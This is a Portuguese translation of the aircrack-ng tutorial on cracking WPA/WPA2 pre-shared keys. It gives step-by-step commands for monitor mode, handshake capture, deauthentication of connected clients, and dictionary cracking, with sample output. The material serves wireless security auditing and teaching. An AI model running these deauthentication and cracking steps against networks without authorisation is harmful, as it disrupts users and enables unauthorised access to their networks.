Table of Contents

. .

Tutorial: Como craquear WPA/WPA2

Versão: 1.20 de 07 de Março de 2010
Por: darkAudax - www.aircrack-ng.org
Tradução: Rubem A. Figueredo – rafig38@gmail.com

Introdução

Este tutorial levará você a craquear redes WPA/WPA2 as quais usam chave pre-compartilhadas. Eu recomendaria você ler em background (fazer uma leitura extra em outro material) para entender o que é WPA/WPA2.
WPA/WPA2 suporta muitos tipos de autenticação além de chaves pre-compartilhadas. Aircrack-ng pode somente craquear chaves pre-compartilhadas. Então, o airodump-ng mostrará as redes que tem o tipo de autenticação PSK, senão, não se incomode tentando craqueá-las.
Existe uma outra importante diferença entre craquear WPA/WPA2 e WEP.
Isto é, a abordagem usada para craquear a chave pre-compartilhada WPA/WPA2.
Diferente de WEP, onde o método estatístico pode ser usado para acelerar o processo de craqueamento, somente técnicas de força bruta simples poderá ser usada contra WPA/WPA2.
Isto é possível porque a chave não é estatística, então coletar os IV s como num craqueamento de encriptação WEP, não acelera o ataque.
A única coisa que faz é dar a informação para iniciar um ataque em uma conexão tipo handshake entre o cliente e o AP.
Uma conexão do tipo handshake é feita quando o cliente conecta na rede. Embora não seja absoluta verdade para o propósito deste material, considerar isto como uma verdade. Se a chave pre-compartilhada for de 08 a 63 caracteres de comprimento, poderá se tornar impossível de craquear a chave pre-compartilhada.
O único modo em que você poderá craquear a chave pre-compartilhada é se você usar um bom dicionario de palavras ou se a chave for relativamente curta.
Por outro lado, se você quer ter uma rede em casa quase que inquebrável (ou difícil de ser craqueada!), use WPA/WPA2 e uma senha com caracteres compostos de caracteres randômicos incluindo símbolos especiais.
É impactante se fazer uso de força bruta como uma abordagem substancial, porque esta abordagem é feita através de uma computação intensiva, um computador poderá somente testar de 50 a 300 possibilidades por segundo, dependendo do processamento do computador. Isto pode levar horas, senão dias, verificando através de um grande dicionário. Se você está pensando sobre como gerar seu própria lista para cobrir todas as permutações e combinações de caracteres e símbolos especiais pesquise primeramente por uma calculadora de tempo, para ver o tempo gasto num ataque de força bruta. Você se surpreenderá com quanto tempo será requerido.

IMPORTANTE:

Isto quer dizer que você deverá ter um dicionario de palavras para quebrar uma passphrase de uma rede com WPA/WPA2. Se não tiver um dicionário, então o aircrack-ng estará inabilitado para descobrir a chave.

Não existe diferença entre craquear redes WPA e WPA2. A metodologia de autenticação é basicamente a mesma entre elas. Logo, a técnica que você usará será idêntica.
É recomendado que você faça experiências com sua própria rede wireless, usando seu ponto de acesso (AP), para se familiarizar com as ideias e técnicas. Se você não possuir um ponto de acesso particular, por favor, lembre-se de solicitar permissão do proprietário do AP para realizar seus testes.

Eu gostaria de agradecer ao time(grupo desenvolvedor) do Aircrack-ng pelos procedimentos e pela grande ferramenta que é o Aircrack-ng.
O tradutor também agradece ao Ygor Bittencourt-LPIC-3, pelo incentivo desta e de outras traduções.

Por favor, nos envie comentários e criticas tanto positivas, quanto negativas para que possamos melhorar.
Ideias de resolução de problemas e dicas são especialmente bem-vindas.

Convenções utilizadas

Primeiramente, esta solução assume:

Que você está usando drivers corrigidos, para injeção. Use o teste de injeção para confirmar se sua placa de rede pode injetar pacotes;
Que você está fisicamente e rasoavelmente próximo para enviar e receber pacotes do ponto de acesso(AP) e para o cliente da rede wireless. Lembre-se que só porque você pode receber pacotes deles, não quer dizer que você poderá transmitir pacotes. O alcance da placa de rede wireless é tipicamente menor que a distancia de alcance do AP, este alcança uma distância bem maior. Logo você deverá está relativamente próximo para transmitir e receber pacotes entre o AP e o cliente wireless;
Que você está usando a versão v0.9.1 ou maior do aircrack-ng. Se você usa uma versão diferente então algumas opções dos comandos podem ser diferentes.
Certifique-se de que todas as convensões acima são verdadeiras, senão as instruções seguintes não funcionarão.
Nos exemplos abaixo você irá precisar trocar “ath0” pelo nome da interface que está especificada para sua placa de rede wireless.

Equipamento usado

Neste tutorial será usado:

Você deverá presumir que as informações equivalentes para a rede a qual você estará trabalhando estão ativas. Então somente troque o valor nos exemplos abaixo para uma rede específica.

Solução

Visão geral da solução

O objetivo é capturar a autenticação, tipo handshake, WPA/WPA2 e então usar o aircrack-ng para craquear a chave pre-compartilhada.
Isto pode ser feito ativamente ou passivamente. “Ativamente” quer dizer que você acelerará o processo de desautenticação de um possível cliente de rede wireless existente. “Passivamente” quer dizer que você simplesmente esperará pela autenticação a uma rede WPA/APA2 de um cliente de rede wireless. A vantagem do modo passivo é que você não precisa da capacidade de injeção, deste modo então, a versão Windows poderá ser usada.

Aqui estão os passos básicos que faremos:

1. Inicializar a interface wireless em modo monitor num canal especifico de um AP;
2. Iniciar o airodump-ng em um canal de um AP com filtro para bssid para coletar autenticações handshake;
3. Usar o aireplay-ng para desautenticar o cliente wireless;
4. Rodar o aircrack-ng para craquear a chave pre-compartilhada usando a autenticação handshake.

Passo 1 – Iniciar a interface wireless em modo monitor

O proposito deste passo é colocar a sua placa de rede wireless no que chamamos de modo monitor. O modo monitor é o modo pelo qual a sua placa wireless pode escutar todos os pacotes que passam pelo ar. Normalmente sua placa wireless desejará somente “ouvir” pacotes endereçados para você. Escutando todos os pacotes, nós poderemos mais tarde capturar o modo “handshack”(como se fosse um “aperto de mãos”). Bem, isto nos permitirá opcionalmente desautenticar um cliente wireless (alguém conectado) em um passo mais tarde.

O procedimento exato para habilitar o modo monitor varia dependendo do driver que você está usando. Para determinar o driver (e o procedimento correto para seguir), execute o seguinte comando:

# airmon-ng

Interface	Chipset		Driver 
rausb0		Ralink RT73	rt73
wlan0		Broadcom	b43 – [phy0]
wifi0		Atheros		madwifi-ng
ath0		Atheros		madwifi-ng VAP  (parent: wifi0)

A presença da tag [phy0] no final do nome do driver é um indicador para o driver mac80211. Então a placa de rede wireless está usando o driver mac80211. Note que o driver mac80211 é suportado somente a partir da versão v1.0-rc1 e não funcionará com a versão v.0.9.1.
Ambas entradas das placas wireless Atheros mostram o driver denominado “madwifi-ng”. Siga os passos para montar a placa wireless Atheros com as informações contidas em madwifi-ng-specific (o qual deve ser um arquivo que vem junto com o driver).
Finalmente, a placa de rede wireless Ralink não mostra nenhum destes indicadores. Esta usa o driver ieee80211. Veja as instruções genéricas para montá-la.

Passo 1a – Primeiro modo de montar a interface wireless em modo monitor, usando o driver madwifi-ng

Primeiramente pare a interface ath0 entrando com o comando abaixo:

# airmon-ng stop ath0

O sistema responderá:
Interface     Chipset     Driver 
  wifi0        Atheros     madwifi-ng 
  ath0         Atheros     madwifi-ng VAP (parent: wifi0) (VAP destroyed)



Digite o comando “iwconfig” para se certificar de que não existe outra interface athX.

Após digitar “iwconfig” e teclar “Enter” o sistema responderá:
    lo      no  wireless  extensions. 
    eth0    no  wireless  extensions. 
    wifi0   no  wireless  extensions.  


\\Se existir alguma interface remanescente, então pare cada uma. Quando você finalizar, rode “iwconfig” novamente para se certificar de não ter deixado nenhuma.

Agora, entre com o comando abaixo para inicializar a placa de rede wireless no canal 9 em modo monitor:

# airmon-ng start wifi0 9

Obs.: Neste comando nós usamos “wifi0” ao invés de nossa interface wireless “ath0”. Isto porque o driver madwifi-ng está usando wifi0.

O sistema irá responder:
 Interface    Chipset    Driver
   wifi0       Atheros    madwifi-ng
   ath0        Atheros    madwifi-ng VAP (parent:wifi0) (monitor mode enable) 

Você pode notar acima que “ath0” está sendo mostrado que está no modo monitor. Para confirmar de que a interface está apropriadamente ajustada, entre com o comando “iwconfig”.

O sistema responderá:
    lo	no wireless extensions.
    wifi0	no wireless extensions.
    eth0	no wireless extensions.
    ath0      IEEE 802.11g ESSID:"" Nickname:"" 
              Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82 
              Bit Rate:0 kb/s    Tx-Power:18 dBm   Sensitivity=0/3 
              Retry:off   RTS thr:off    Fragment thr:off 
              Encryption key:off 
              Power Management:off 
              Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm 
              Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 
              Tx excessive retries:0 Invalid misc:0     Missed beacon:0  


Na resposta acima você pode ver que “ath0” está no modo monitor, com frequência de 2.452GHz que é o canal 9. O parâmetro “Access Point” mostra o endereço MAC da placa wireless. Somente o driver “madwifi-ng” mostra o endereço MAC da placa de rede wireless como parâmetro do campo AP, outros drivers não. Então, tudo está OK. É importante confirmar todas estas informações, as quais são prioritárias para o procedimento, senão os passos seguintes não poderão funcionar (serem executados) apropriadamente.
Para escolher a freqüência do canal dê uma olhada na Tabela 1 no final deste tutorial.

Passo 1b – Segundo modo de montar a interface wireless em modo monitor, usando o driver mac80211

Diferente do driver “madwifi-ng”, você não precisará desmontar a interface wlan0 quando montar o driver mac80211. Em vez disso use o seguinte comando para montar a placa de rede em modo monitor no canal 9:

# airmon-ng start wlan0 9

O sistema responderá:
     Interface     Chipset    Driver
     wlan0         Braodcom   b43 – [phy0] (monitor mode enable on mon0) 


Note que airmon-ng habilita o modo monitor em “mon0”. Logo, o nome correto da interface a ser usado mais tarde nas partes deste tutorial será “mon0”.
Wlan0 está ainda um modo regular (modo gerenciado) e poderá ser usado de forma casual. Você poderá encontrar a expressão “wlan0” ao invés de “mon0” para mostrar que você está no mesmo canal que o AP o qual você está atacando.

Para confirmar o sucesso do ajuste execute “iwconfig”. A seguinte saida deverá aparecer:

   lo        no   wireless   extensions. 
   eth0      no   wireless   extensions. 
   wmaster0  no   wireless   extensions. 
   wlan0    IEEE 802.11bg ESSID:"" 
            Mode:Managed Frequency:2.452 GHz Access Point: Not-Associated 
            Tx-Power=0 dBm 
            Retry min limit:7    RTS thr:off Fragment thr=2352 B 
            Encryption key:off 
            Power Management:off 
            Link Quality:0 Signal level:0 Noise level:0 
            Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 
            Tx excessive retries:0 Invalid misc:0   Missed beacon:0 
   mon0     IEEE 802.11bg Mode:Monitor Frequency:2.452 GHz Tx-Power=0 dBm 
            Retry min limit:7    RTS thr:off Fragment thr=2352 B 
            Encryption key:off 
            Power Management:off 
            Link Quality:0 Signal level:0 Noise level:0 
            Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 
            Tx excessive retries:0 Invalid misc:0   Missed beacon:0 


Aqui, mon0 é visto como estando em modo monitor no canal 9 (2.452GHz). Diferente de “madwifi-ng”, as saidas acima não tem o campo AccessPoint. Note também que wlan0 está ainda presente e em modo gerenciado – Isto é normal porque ambas as interfaces compartilham o radio(AP) comum, Elas devem ser ajustadas para o mesmo canal – trocando o canal de uma interface, também trocar o canal da outra.

Passo 1c – Terceiro modo de montar a interface wireless em modo monitor, usando outros drivers

Para outros drivers (baseado em ieee80211, por exemplo), simplesmente execute o seguinte comando para habilitar para o modo monitor (use o nome de sua interface de rede ao invés de “rausb0”):

    # airmon-ng start rausb0 9

O sistema responderá:

     Interface    Chipset   Driver
     rausb0       Ralinkrt   73 (monitor mode enalble)


Neste ponto, a interface deverá está pronta para uso.

Passo 2 – Iniciar o airodump-ng em um canal de um AP com filtro para bssid para coletar autenticações handshake

O propósito deste passo é executar o airodump-ng para capturar pacotes dos 4 modos de autenticação ( do tipo handshake) com o AP no qual estamos interessados.

A autenticação handshake é feita de uma só vez.
Entre com o comando abaixo:

    # airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0

Onde:

Importante:
Não use a opção “- -ivs”. Você deve capturar os pacotes completos.
Se quiser, não precisará usar o filtro “–bssid <MAC do AP>, daí, você vai capturar todos os pacotes wireless que estiverem ao seu alcance, daí então escolher um AP com o seu respectivo endereço MAC, que vai aparecer para você.

Abaixo está o que parece ser, se um cliente wireless estiver conectado na rede:

   CH  9 ]  [ Elapsed: 4 s ]  [ 2007-03-24 16:58 ]  [ WPA handshake: 00:14:6C:7E:40:80 
         BSSID        PWR      RXQ  Beacons  #Data,   #/s  CH   MB  ENC   CIPHER  AUTH  ESSID 
   00:14:6C:7E:40:80   39      100   51       116     14    9   54  WPA2  CCMP    PSK   teddy 
         BSSID             STATION         PWR   Lost    Packets   Probes 
   00:14:6C:7E:40:80   00:0F:B5:FD:FB:C2    35    0         116 

Na saida acima note que “WPA handshake: 00:14:6C:7E:40:80 ” está no topo à direita. Isto quer dizer que “airodump-ng” capturou os pacotes de autenticação handshake com sucesso.

Abaixo será mostrado como ocorre quando um cliente não está conectado:

    CH  9 ]  [ Elapsed: 4 s ][ 2007-03-24 17:51 
    BSSID               PWR  RXQ   Beacons    #Data,   #/s   CH  MB   ENC   CIPHER   AUTH   ESSID 
    00:14:6C:7E:40:80   39   100     51        0        0    9   54   WPA2   CCMP     PSK   teddy                                      
    BSSID              STATION            PWR  Lost    Packets  Probes 

Dicas de resolução de problemas:

Para ver se você capturou algum pacote de autenticação (tipo handshake), existem duas maneiras.

Passo 3 – Usar o aireplay-ng para desautenticar um cliente wireless

Este passo é opcional. Se você for paciente, você poderá esperar até que o airodump-ng capture os pacotes de autenticação handshake quando um ou mais clientes se conectar ao AP. Você somente executará este passo se você optar por acelerar a atividade do processo. A outra restrição é que deverá existir um cliente wireless associado ao AP. Se não existir um cliente corretamente associado com o AP, então você deverá ser paciente e esperar por alguém conectar ao AP, então os pacotes de conexão com o AP poderão ser capturados. Desnecessário dizer, que se um cliente wireless se conectou e o airodump-ng não capturou os pacotes de conexão handshake, você poderá voltar a executar este passo do início para que ele possa capturar, estando o cliente já conectado.

Este passo envia uma mensagem para o cliente wireless desconectando-o com o AP, mas uma desconexão rápida. O cliente wireless então se re-autenticará com o AP . A re-autenticação é que gera os pacotes de autenticação handshake que nós estamos interessado em coletar. Estes pacotes são o que precisamos para quebrar a senha correspondente a chave compartilhada WPA/WPA2.
Baseado na informação de saída do airodump-ng referida no passo anterior, você determina um cliente que está corretamente conectado. Você precisa do endereço MAC para os passos seguintes.
Abra um outro console e tecle o comando abaixo:

 # aireplay-ng -0 1 -a 00:14:6C:7E:40:80  -c  00:0F:B5:FD:FB:C2  ath0

Onde:

Abaixo é mostrado como ficará a saída do comando:

  11:09:28	Sending DeAuth to station	- - STMAC:   [00:0F:B5:34:30:30]

Com sorte isto causará uma reautenticação do cliente wireless e produzirá os pacotes de autenticação handshake.

Dica de resolução de problemas:

Os pacotes de desautenticação são enviados diretamente do seu PC para o cliente. Logo você deverá está fisicamente próximo ao cliente para que a transmissão de sua placa de rede wireless o alcance (alcance o cliente). Para confirmar se o cliente recebeu os pacotes de desautenticação, use o tcpdump ou similar para ver os pacotes ACK que voltaram do cliente. Se você não obteve pacotes ACK de volta, então o cliente não “ouviu” o pacote de desautenticação.

Passo 4 - Rodar o aircrack-ng para craquear a chave pre-compartilhada usando a autenticação handshake

O propósito deste passo atual é craquear as chaves pre-compartilhadas WPA/WPA2. Para isto, você precisará de um dicionario de palavras (word list). Basicamente, o aircrack-ng pega cada palavra e testa para ver se esta é de fato a chave pre-compartilhada. Existe um pequeno dicionario que vem com o aircrack-ng – “password.lst”. Este arquivo pode ser encontrado no diretório de “test”, que contém os codigos fonte do aircrack-ng. Você pode usar o “John the Ripper (JRP)” para gerar sua própria “word list” e usá-la no aircrack-ng. O uso do JRT em conjunto com o aircrack-ng está além do escopo deste tutorial.

Abra um outro console e entre com o comando abaixo:

  # aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

Onde:

Abaixo está sendo mostrado a saida do comando quando um pacote handshake não for encontrado:

Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets
No valid WPA handshakes found.

Quando isto acontecer ou você terá que refazer o passo 3 (desautenticar o cliente wireless) ou esperar mais tempo se você estiver usando a abordagem passiva. Quando usamos a abordagem passiva, você deve esperar até que um cliente wireless se autentique no AP.

Aqui abaixo está a saída quando um pacote handshake é encontrado:

 Opening psk-01.cap 
 Opening psk-02.cap 
 Opening psk-03.cap 
 Opening psk-04.cap 
 Read 1827 packets. 
 #      BSSID              ESSID    Encryption 
 1  	00:14:6C:7E:40:80  teddy    WPA (1 handshake) 
 Choosing first network as target. 

Agora neste ponto, o aircrack-ng iniciará a tentativa de craquear a chave pre-compartilhada. Dependendo da velocidade de sua CPU e do tamanho do dicionario de palavras (word list), isto poderá levar algum tempo, até mesmo dias.

Abaixo é mostrado o sucesso do craqueamento de uma chave pre-compartilhada:

                        		 Aircrack-ng   0.8 
           	[00:00:00]	 2	 keys	 	tested 		(37.20 k/s) 
                  		 KEY FOUND		[ 12345678 ] 
Master Key   	 : 	CD  69  0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E 
                        B8  A6  13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD 
Transcient Key : 	06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 
                        CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 
                        FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 
                        2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 
EAPOL HMAC     : 	4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 
Dicas de resolução de problemas

Problema:


Não consigo captura os pacotes de conexão do tipo handshake!


Algumas vezes pode ser difícil capturar os pacotes de conexão handshake.

Aqui estão algumas dicas de solução:

Infelizmente, algumas vezes você precisará capturar vários bits pela sua placa de rede wireless até que propriamente consiga capturar os pacotes de conexão handshake. O ponto é, se você não conseguir craquear a rede na primeira tentativa, tenha paciencia e continue tentando. Com certeza você conseguirá.
Uma outra abordagem, é o uso do Wireshark para revisar e analisar seus pacotes capturados. Isto pode algumas vezes te dar algumas dicas, como o que está acontecendo de errado e ter algumas ideias em como corrigi-los.
Em um mundo ideal, você deveria ter um dispositivo wireless dedicado para captura de pacotes. Isto é por causa de alguns drivers tais como o RTL8187L que são ruins para capturar pacotes mas faz com que as placas de rede contendo este driver envie pacotes automaticamente (ou seja, são bons para enviar mas ruins para capturar).
Já os driver que usam RT73 são drivers ruins para capturar pacotes de clientes wireless.

Quando usamos o Wireshark, com filtro para “eapol” irá rapidamente mostrar na tela somente os pacotes EAPOL. Baseado no que os pacotes EAPOL foram capturados, determine o seu plano de correção. Por exemplo, se você perdeu ou está faltando pacotes de clientes wireless então tente determinar o “porquê” e “como” coletar pacotes wireless.

Se quiser coletar todos os pacotes, você deve iniciar o airodump-ng sem o filtro BSSID e então irá iniciar a captura de todos os pacotes, não só os IV s. Desnecessário dizer que, deverá está no mesmo canal do AP. A razão de eliminar o filtro BSSID é para se certificar que todos os pacotes, incluindo ACK, foram capturados.
Todos os pacotes enviados ao cliente ou AP devem ser ACK (pacotes de conexão handshake). Isto é feito com “acknowledment” pacotes que tem como destinação o endereço MAC do dispositivo que enviou o pacote original. Isto confirma que o cliente recebeu o pacote de desautenticação. Falha no recebimento de pacotes “ack” infelizmente quer dizer que o cliente está fora de área de transmissão.

Para analisar pacotes capturados é impossível criar instruções detalhadas. Esta é uma área que exige esforço próprio para se desenvolver habilidades em interpretar conexões WPA/WPA2, acrescido de conhecimentos em como usar o Wireshark.

Se o aircrack-ng declarar: “0 handshakes”
Verifique a dica de resolução de problemas “Eu não consigo capturar os quatros modos de conexão Handshak !”

Se o aircrack-ng declarar: “Nenhuma conexão handshake WPA válida foi encontrada”
Verifique a dica de resolução de problemas “Eu não consigo capturar os quatros modos de conexão Handshak !”

                                          Tabela 1 
                             Wireless Frequencies and Channels
 ________________________________________________________________________________________
    Frequency           Channel Number                  Frequency        Channel Number
    2.412 GHz                1                          2.484 GHz             14 
    2.417 GHz                2                          5.180 GHz             36 
    2.422 GHz                3                          5.200 GHz             40 
    2.427 GHz                4                          5.220 GHz             44 
    2.432 GHz                5                          5.240 GHz             48 
    2.437 GHz                6                          5.260 GHz             52 
    2.442 GHz                7                          5.280 GHz             56 
    2.447 GHz                8                          5.300 GHz             60 
    2.452 GHz                9                          5.320 GHz             64 
    2.457 GHz                10                         5.745 GHz             149 
    2.462 GHz                11                         5.765 GHz             153 
    2.467 GHz                12                         5.785 GHz             157 
    2.472 GHz                13                         5.805 GHz             161 
 ________________________________________________________________________________________